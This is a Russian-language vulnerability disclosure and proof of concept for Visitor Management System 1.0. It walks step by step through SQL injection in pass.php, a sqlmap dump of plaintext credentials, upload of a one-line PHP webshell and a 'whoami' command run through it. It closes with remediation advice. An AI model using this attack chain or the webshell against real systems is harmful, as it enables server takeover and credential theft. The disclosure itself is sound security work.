
Доказательство концепции, демонстрирующее SQL-инъекцию и неограниченную загрузку файлов, объединённые для достижения удалённого выполнения кода в Visitor Management System 1.0, включая пошаговую эксплуатацию и рекомендации по устранению уязвимостей.
| Поле | Детали |
|---|
| Продукт | Visitor Management System |
| Вендор | code-projects.org |
| Версия | 1.0 |
| Классы уязвимостей | SQL-инъекция (CWE-89) + неограниченная загрузка файлов (CWE-434) |
| ID CVE | Ожидается |
| Оценка CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Требуемая аутентификация | Низкие привилегии (учётная запись охранника) как точка входа |
| Затронутые файлы | /vms/php/pass.php, /vms/php/admin_user_0.php |
| Уязвимый параметр | phone (POST) |
Visitor Management System 1.0 от code-projects.org уязвим к критической цепочке атак, объединяющей SQL-инъекцию и неограниченную загрузку файлов, что приводит к удалённому выполнению кода.
Злоумышленник с доступом низкого уровня (учётная запись охранника) может использовать SQL-инъекцию в pass.php через POST-параметр phone, чтобы выгрузить всю базу данных — включая учётные данные администратора в открытом виде. Используя извлечённые учётные данные для входа в качестве администратора, злоумышленник может затем загрузить PHP-вебшелл через панель управления пользователями администратора (admin_user_0.php), которая не выполняет проверку типа файла или расширения. Загруженный вебшелл сохраняется в каталоге, доступном через веб, и может быть выполнен напрямую по URL, что приводит к полному удалённому выполнению кода на сервере.
Кроме того, пароли хранятся в базе данных в открытом виде, что означает отсутствие необходимости в подборе хешей после выгрузки данных через SQLi.
Вход охранника с низкими привилегиями
↓
SQL-инъекция в pass.php (параметр phone)
↓
Выгрузка через sqlmap → извлечены учётные данные администратора в открытом виде
↓
Вход в качестве администратора (sanjay1:7861)
↓
Неограниченная загрузка файлов в admin_user_0.php
↓
PHP-вебшелл загружен в /vms/php/folder/
↓
RCE через ?cmd=whoami → полный компрометация сервера
Перейдите к приложению VMS и войдите с учётными данными охранника. После входа перейдите на страницу номера телефона:
http://<TARGET>/vms/php/phone_0.php

Отправьте одинарную кавычку ' в качестве значения номера телефона. Приложение выдаёт фатальную ошибку MariaDB, раскрывающую исходный запрос и путь к файлу:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
Затронутый файл: pass.php, строка 9
Уязвимый параметр: phone (POST)

sql error

Сохраните перехваченный в Burp Suite запрос в файл (sqli.txt) и запустите sqlmap:
sqlmap -r sqli.txt --dump --batch
sqlmap успешно выгружает таблицу login_user из базы данных vms, раскрывая учётные данные в открытом виде для всех пользователей:
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
Примечание: пароли хранятся в открытом виде — подбор хешей не требуется.

Используя извлечённые учётные данные администратора, войдите в панель администратора:
Username: sanjay1
Password: 7861
Теперь доступна полная панель администратора, включая управление сотрудниками, отделами, пользователями администратора и отчётами.

Перейдите на страницу управления пользователями администратора:
http://<TARGET>/vms/php/admin_user_0.php
Страница содержит поле загрузки файла для изображения профиля. Приложение не выполняет проверку типа файла, не фильтрует расширения и не проверяет MIME-тип.
Заполните форму любыми значениями и загрузите следующий PHP-вебшелл в качестве файла изображения (web2_command.php):
<?php echo shell_exec($_GET['cmd']); ?>

Перейдите на страницу отображения пользователей администратора:
http://<TARGET>/vms/php/admin_display_0.php
Новая созданная учётная запись администратора видна в таблице. Загруженный вебшелл сохраняется по адресу:
http://<TARGET>/vms/php/folder/web2_command.php

Выполните произвольные системные команды через вебшелл:
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami
Результат: сервер возвращает текущего системного пользователя, подтверждая полное удалённое выполнение кода:
desktop-g1i9np3\dell

| Файл | Уязвимость |
|---|---|
/vms/php/pass.php | SQL-инъекция через POST-параметр phone |
/vms/php/admin_user_0.php | Неограниченная загрузка файлов — отсутствие проверки расширения или MIME |
/vms/php/folder/ | Каталог хранения вебшеллов — доступен через веб, без ограничений |
Для SQL-инъекции:
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();
Для загрузки файлов:
Для хранения паролей:
password_hash() и password_verify() — никогда не храните пароли в открытом виде